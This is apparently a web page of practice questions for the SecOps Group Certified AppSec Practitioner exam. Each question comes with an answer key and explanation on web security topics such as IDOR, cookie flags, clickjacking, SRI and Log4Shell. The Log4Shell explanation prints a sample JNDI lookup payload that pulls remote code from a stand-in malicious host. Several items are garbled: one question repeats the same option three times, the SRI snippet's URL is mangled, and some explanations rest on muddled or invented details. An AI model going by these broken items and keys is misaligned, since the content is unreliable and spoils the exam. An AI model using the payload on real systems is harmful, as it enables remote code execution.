The SecOps Group secops-CAP Practice Exams
Last updated on Oct 22,2026- Exam Code: secops-CAP
- Exam Name: Certified AppSec Practitioner Exam
- Certification Provider: The SecOps Group
- Latest update: Oct 22,2026
A website administrator forgot to renew the TLS certificate on time and as a result, the application is now displaying a TLS error message. However, on closer inspection, it appears that the error is due to the TLS certificate expiry.
Which of the following is correct?
- A . There is no urgency to renew the certificate as the communication is still over TLS
- B . There is an urgency to renew the certificate as the users of the website may get conditioned to ignore TLS warnings and therefore ignore a legitimate warning which could be a real Man-in-the-Middle attack
B
Explanation:
A TLS certificate expiry means the certificate used to secure the HTTPS connection is no longer valid, typically due to its expiration date being passed. This triggers a TLS error message in the browser (e.g., "Your connection is not private").
Let’s evaluate the options:
Option A ("There is no urgency to renew the certificate as the communication is still over TLS"): Incorrect. While the communication may technically still occur over TLS (depending on browser and server behavior), an expired certificate breaks the trust model. Browsers will warn users, and some may block access entirely. The communication is not secure in the sense that the certificate’s validity cannot be verified, potentially exposing users to risks if they bypass warnings. This is not a valid justification for delaying renewal.
Option B ("There is an urgency to renew the certificate as the users of the website may get conditioned to ignore TLS warnings and therefore ignore a legitimate warning which could be a real Man-in-the-Middle attack"): Correct. An expired TLS certificate causes repeated warnings, which may desensitize users to ignore them. If a real Man-in-the-Middle (MitM) attack occurs (e.g., an attacker presents a fake certificate), users accustomed to bypassing warnings might not notice, increasing the risk of data interception. Renewing the certificate is urgent to restore trust and prevent this conditioning effect, aligning with security best practices.
The correct answer is B, aligning with the CAP syllabus under "TLS Configuration" and "Certificate Management."
Reference: SecOps Group CAP Documents – "TLS Security," "Certificate Expiry Management," and "OWASP Transport Layer Protection Cheat Sheet" sections.
After purchasing an item on an e-commerce website, a user can view their order details by visiting the URL:
https://example.com/?order_id=53870
A security researcher pointed out that by manipulating the order_id value in the URL, a user can view arbitrary orders and sensitive information associated with that order_id. This attack is known as:
- A . Insecure Direct Object Reference
- B . Session Poisoning
- C . Session Riding OR Cross-Site Request Forgery
- D . Server-Side Request Forgery
A
Explanation:
The scenario describes a vulnerability where a user can manipulate the order_id parameter in the URL (e.g., https://example.com/?order_id=53870) to access other users’ order details, indicating a lack of proper access control. This is a classic case of an Insecure Direct Object Reference (IDOR) attack. IDOR occurs when an application exposes a reference to an internal object (e.g., an order ID) that can be manipulated by an unauthorized user to access resources they should not have access to, without validating the user’s permissions.
Option A ("Insecure Direct Object Reference"): Correct, as the ability to change order_id to view arbitrary orders fits the definition of IDOR.
Option B ("Session Poisoning"): Incorrect, as session poisoning involves corrupting or altering a user’s session data, which is not indicated here.
Option C ("Session Riding OR Cross-Site Request Forgery"): Incorrect, as CSRF involves tricking a user into submitting a request (e.g., via a malicious form), not manipulating a URL parameter directly. Option D ("Server-Side Request Forgery"): Incorrect, as SSRF involves tricking the server into making unauthorized requests to internal or external resources, which is not the case here.
The correct answer is A, aligning with the CAP syllabus under "Insecure Direct Object Reference (IDOR)" and "OWASP Top 10 (A04:2021 – Insecure Design)."
Reference: SecOps Group CAP Documents – "IDOR Vulnerabilities," "Access Control," and "OWASP Testing Guide" sections.
Which of the following attributes is NOT used to secure the cookie?
- A . HttpOnly
- B . Secure
- C . Restrict
- D . Same-Site
C
Explanation:
Cookies can have security attributes to protect them against various attacks. Let’s evaluate each option to determine which attribute is not used to secure cookies:
Option A ("HttpOnly"): The HttpOnly attribute prevents cookies from being accessed by JavaScript (e.g., via document.cookie). This mitigates XSS attacks that attempt to steal session cookies, making
it a valid security attribute.
Option B ("Secure"): The Secure attribute ensures that the cookie is only sent over HTTPS connections, preventing it from being transmitted over unencrypted HTTP. This protects against interception (e.g., in a man-in-the-middle attack), making it a valid security attribute.
Option C ("Restrict"): There is no standard cookie attribute called Restrict. Cookie security attributes are well-defined (e.g., HttpOnly, Secure, SameSite), and Restrict does not exist in this context. This is not a valid attribute for securing cookies.
Option D ("Same-Site"): The SameSite attribute (e.g., SameSite=Strict or SameSite=Lax) controls whether a cookie is sent with cross-site requests. It helps mitigate CSRF attacks by ensuring the cookie is only sent with same-site requests (or limited cross-site scenarios), making it a valid security attribute.
The correct answer is C, as Restrict is not a recognized cookie attribute, aligning with the CAP syllabus under "Cookie Security" and "Session Management."
Reference: SecOps Group CAP Documents – "Cookie Security Attributes," "Session Security," and "OWASP Session Management Cheat Sheet" sections.
Which of the following headers helps in preventing the Clickjacking attack?
- A . Strict-Transport-Security
- B . Access-Control-Allow-Origin
- C . X-Frame-Options
- D . X-Content-Type-Options
C
Explanation:
Clickjacking is an attack where a malicious site tricks a user into clicking on something by overlaying a transparent iframe containing a legitimate site, exploiting the user’s clicks (e.g., clicking a button). The goal is to prevent a page from being embedded in a frame or iframe by unauthorized sites. Let’s evaluate the headers:
Option A ("Strict-Transport-Security"): HTTP Strict Transport Security (HSTS) enforces HTTPS connections by instructing browsers to only use secure connections, preventing man-in-the-middle attacks over HTTP. It does not address framing or clickjacking.
Option B ("Access-Control-Allow-Origin"): This CORS header specifies which origins can access resources, mitigating cross-origin resource sharing issues, but it does not prevent framing or clickjacking.
Option C ("X-Frame-Options"): Correct. The X-Frame-Options header controls whether a page can be embedded in an iframe. Values like DENY (block all framing) or SAMEORIGIN (allow only same-origin framing) prevent clickjacking by stopping malicious sites from embedding the page in a frame. This is a standard defense against clickjacking.
Option D ("X-Content-Type-Options"): This header prevents MIME-type sniffing by forcing browsers to respect the declared content type (e.g., nosniff), but it does not address framing or clickjacking. The correct answer is C, aligning with the CAP syllabus under "Clickjacking Prevention" and "Security Headers."
Reference: SecOps Group CAP Documents – "Clickjacking Defense," "Security Headers," and "OWASP Secure Headers Project" sections.
Based on the screenshot below, which of the following statements is true?
Request
GET /userProfile.php?sessionId=7576572ce164646de967c759643d53031 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cookie: JSESSIONID=7576572ce164646de967c759643d53031
Te: trailers
Connection: keep-alive
Pretty Raw | Hex | php | curl | ln | Pretty
HTTP/1.1 200 OK
Date: Fri, 09 Dec 2022 11:42:27 GMT
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips PHP/8.0.25
X-Powered-By: PHP/8.0.25
Content-Length: 12746
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: JSESSIONID=7576572ce164646de967c759643d53031; Path=/; HttpOnly
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Example Domain</title>
</head>
<body style="background-color:#f0f0f2; margin:0; padding:0; font-family: -apple-system, system-ui, BlinkMacSystemFont, ‘Segoe UI’, ‘Open Sans’, ‘Helvetica Neue’, Helvetica, Arial, sans-serif;"> <p style="…">…</p>
</body>
</html>
- A . The application uses an insecure channel (non-TLS)
- B . The application uses an insecure HTTP method (GET) to send sensitive information
- C . The application is vulnerable to Cross-Site Scripting attacks
- D . All of the above
B
Explanation:
The request is a GET to /userProfile.php with a sessionId parameter matching the JSESSIONID cookie, and the response is a 200 OK with an HTML page.
Let’s evaluate the statements:
Option A ("The application uses an insecure channel (non-TLS)"): The request uses http:// (inferred from the absence of https:// in the Host and GET line), indicating a non-TLS channel. However, the question asks about the "application" (likely the server-side behavior), and the response does not explicitly confirm the channel used for the response. Modern browsers might enforce TLS, but the request suggests an insecure channel. This could be true, but it depends on the server’s configuration, making it less certain without further context.
Option B ("The application uses an insecure HTTP method (GET) to send sensitive information"):
Correct. The sessionId parameter in the URL
(/userProfile.php?sessionId=7576572ce164646de967c759643d53031) is sensitive data, as it could be used to hijack the user’s session. Using GET exposes this data in browser history, server logs, and referral headers, which is insecure. Best practice is to use POST for sensitive data to avoid such exposure. The JSESSIONID cookie is marked HttpOnly, mitigating some risks, but the sessionId in the URL remains a vulnerability.
Option C ("The application is vulnerable to Cross-Site Scripting attacks"): The response includes an HTML page with no visible user input or script execution. There’s no evidence of unsanitized input or script injection (e.g., no dynamic content like <script> tags with user data). The X-Xss-Protection: 1; mode=block header (though not shown) would mitigate XSS if present, but the response alone does not indicate vulnerability, so this is incorrect.
Option D ("All of the above"): Incorrect, as only B is definitively true; A is uncertain without confirming the response channel, and C lacks evidence.
The correct answer is B, aligning with the CAP syllabus under "HTTP Methods Security" and "Session Management."
Reference: SecOps Group CAP Documents – "Insecure HTTP Methods," "Sensitive Data Exposure," and "OWASP Secure Coding Practices" sections.
Your application is hosting JavaScript from a third-party website as shown in the snippet below.
<script src="https://[//cdn.thirdparty-example.com/](example.js)" integrity="sha384-Fmb0CYeA6gM2uLuyvqs7x75u0mktDh2nKLomp3PHkJ0b5vJF2qF6Gbrc/6dK" crossorigin="anonymous"></script>
Which of the following is true regarding the code snippet?
- A . The code snippet will perform validations for Cross-Site Scripting attacks
- B . The code snippet will perform validations for Cross-Site Request Forgery attacks
- C . The code snippet will perform Subresource Integrity (SRI) checks
- D . The code snippet will perform validations for Outdated Javascript checks
C
Explanation:
The code snippet loads a JavaScript file from a third-party CDN with integrity and crossorigin attributes.
Let’s analyze what these attributes do:
The integrity attribute specifies a Subresource Integrity (SRI) hash (e.g., sha384-Fmb0CYeA6gM2uLuyvqs7x75u0mktDh2nKLomp3PHkJ0b5vJF2qF6Gbrc/6dK), which the browser uses to verify the integrity of the loaded script. If the script’s content does not match the hash, the browser will not execute it, protecting against tampering (e.g., if the CDN is compromised).
The crossorigin="anonymous" attribute ensures the request does not send credentials (e.g., cookies) and allows the script to be loaded from a different origin while enabling CORS (Cross-Origin Resource Sharing).
Option A ("The code snippet will perform validations for Cross-Site Scripting attacks"): Incorrect. XSS (Cross-Site Scripting) involves injecting malicious scripts into a page. The integrity attribute ensures the script’s integrity but does not validate the script’s content for XSS vulnerabilities (e.g., if the script itself contains malicious code). XSS prevention requires other measures, like Content Security Policy (CSP) or input sanitization.
Option B ("The code snippet will perform validations for Cross-Site Request Forgery attacks"): Incorrect. CSRF (Cross-Site Request Forgery) involves tricking a user into making unintended requests. The integrity and crossorigin attributes do not address CSRF, which requires server-side protections like CSRF tokens.
Option C ("The code snippet will perform Subresource Integrity (SRI) checks"): Correct. The integrity attribute explicitly enables SRI, ensuring the browser verifies the script’s hash before execution. This protects against supply chain attacks where a third-party script might be modified maliciously.
Option D ("The code snippet will perform validations for Outdated Javascript checks"): Incorrect. The snippet does not check for outdated JavaScript versions. SRI ensures the script matches the expected hash but does not validate the script’s version or security status.
The correct answer is C, aligning with the CAP syllabus under "Subresource Integrity (SRI)" and "Third-Party Script Security."
Reference: SecOps Group CAP Documents – "SRI Implementation," "Third-Party Resource Security," and "OWASP Secure Coding Practices" sections.
The DNS entries for www.ironman.com and www.hulk.com both point to the same IP address i.e., 1.3.3.7.
How does the web server know which web application is being requested by the end user’s browser?
- A . The web server inspects the HTTP "Host" header sent by the client.
- B . The web server inspects the cookies sent by the client.
- C . The web server inspects the client’s SSL certificate.
- D . The web server uses a reverse DNS lookup of the client’s IP address.
A
Explanation:
When multiple domain names (e.g., www.ironman.com and www.hulk.com) resolve to the same IP address (e.g., 1.3.3.7), a web server hosting multiple applications on that IP must determine which application to serve. This is achieved using the HTTP "Host" header, which is part of the HTTP/1.1 protocol. The client (browser) includes the requested domain (e.g., Host: www.ironman.com) in the request, allowing the server to route the request to the appropriate virtual host or application configured for that domain. This is a standard practice in virtual hosting.
Option A ("The web server inspects the HTTP ‘Host’ header sent by the client"): Correct, as the Host header enables the server to distinguish between applications on the same IP.
Option B ("The web server inspects the cookies sent by the client"): Incorrect, as cookies are used for session management or personalization, not for identifying the requested application.
Option C ("The web server inspects the client’s SSL certificate"): Incorrect, as SSL certificates are used for encryption and authentication, not for application routing (though they may include the domain name for validation).
Option D ("The web server uses a reverse DNS lookup of the client’s IP address"): Incorrect, as reverse DNS lookup resolves an IP to a domain, which is irrelevant for the server determining the requested application.
The correct answer is A, aligning with the CAP syllabus under "Web Server Configuration" and "HTTP Protocol Security."
Reference: SecOps Group CAP Documents – "HTTP Headers," "Virtual Hosting," and "OWASP Web Security Testing Guide" sections.
Which is the most effective way of input validation to prevent Cross-Site Scripting attacks?
- A . Blacklisting HTML and other harmful characters
- B . Whitelisting and allowing only trusted input
- C . Using a Web Application Firewall (WAF)
- D . Marking Cookie as HttpOnly
B
Explanation:
Cross-Site Scripting (XSS) attacks occur when an attacker injects malicious scripts (e.g., JavaScript) into a web application, which are then executed in a victim’s browser. Effective input validation is a key defense against XSS by ensuring that user input does not contain malicious content.
Option A ("Blacklisting HTML and other harmful characters"): Blacklisting involves blocking known harmful characters (e.g., <, >, &) or patterns. While this can mitigate some XSS attacks, it is not the most effective approach because blacklists can be bypassed (e.g., using alternate encodings, nested tags, or new attack vectors). Blacklisting is inherently reactive and prone to evasion.
Option B ("Whitelisting and allowing only trusted input"): Whitelisting involves defining a strict set of allowed characters or patterns (e.g., only alphanumeric characters for a username). This is the most effective method because it explicitly permits only safe input and rejects everything else, making it much harder for attackers to inject malicious scripts. For example, if a field expects a phone number, a whitelist might allow only digits, spaces, and dashes, rejecting any HTML or script tags outright. Option C ("Using a Web Application Firewall (WAF)"): A WAF can help detect and block XSS attacks by filtering malicious requests, but it is not an input validation method. WAFs are a secondary defense and can be bypassed; they are not a substitute for proper validation at the application level.
Option D ("Marking Cookie as HttpOnly"): The HttpOnly flag prevents cookies from being accessed by JavaScript, mitigating the impact of XSS (e.g., stealing session cookies), but it does not prevent the XSS attack itself. It addresses the consequence, not the root cause, and is not an input validation technique.
The correct answer is B, aligning with the CAP syllabus under "Cross-Site Scripting (XSS)" and "Input Validation Best Practices."
Reference: SecOps Group CAP Documents – "XSS Prevention," "Input Validation and Sanitization," and "OWASP XSS Prevention Cheat Sheet" sections.
Which of the following hashing algorithms is considered to be the most secure amongst these?
- A . SHA-0
- B . MD5
- C . SHA-1
- D . Bcrypt
D
Explanation:
Hashing algorithms are used to securely store passwords by transforming them into fixed-length strings. A secure hashing algorithm for passwords should be resistant to collision attacks, preimage attacks, and brute-force attempts, and should be slow to compute to deter attackers. Let’s evaluate the options:
Option A ("SHA-0"): SHA-0 is the original version of the SHA family, published in 1993, but it was quickly withdrawn due to serious cryptographic weaknesses (e.g., collision vulnerabilities).
It is not secure and should not be used.
Option B ("MD5"): MD5 is a widely used hash function but is cryptographically broken. It is vulnerable to collision attacks (e.g., practical attacks demonstrated since 2004) and is extremely fast, making it unsuitable for password hashing as it can be brute-forced easily.
Option C ("SHA-1"): SHA-1, part of the SHA family, is also considered broken for security purposes. It has known collision vulnerabilities (e.g., the SHAttered attack in 2017 demonstrated practical collisions), and like MD5, it is too fast for secure password hashing.
Option D ("Bcrypt"): Bcrypt is specifically designed for password hashing. It is a slow hashing algorithm with a configurable work factor (cost factor), making it resistant to brute-force attacks. It also includes a built-in salt to prevent rainbow table attacks. Bcrypt is widely recommended by security standards (e.g., OWASP, NIST) for secure password storage and is the most secure option among those listed.
The correct answer is D, aligning with the CAP syllabus under "Password Hashing" and "Cryptographic Best Practices."
Reference: SecOps Group CAP Documents – "Secure Password Storage," "Hashing Algorithms," and "OWASP Password Storage Cheat Sheet" sections.
In the context of the infamous log4j vulnerability (CVE-2021-44228), which vulnerability is exploited in the backend to achieve Remote Code Execution?
- A . JNDI Injection
- B . JNDI Injection
- C . JNDI Injection
- D . None of the above
B
Explanation:
The Log4j vulnerability, identified as CVE-2021-44228 (commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., ${jndi:ldap://malicious.com/a}) that is logged by a vulnerable Log4j instance. The exploit leverages JNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list "JNDI Injection," which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ("None of the above") is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention.
Reference: SecOps Group CAP Documents – "Injection Vulnerabilities," "Remote Code Execution," and "OWASP Top 10 (A03:2021 – Injection)" sections.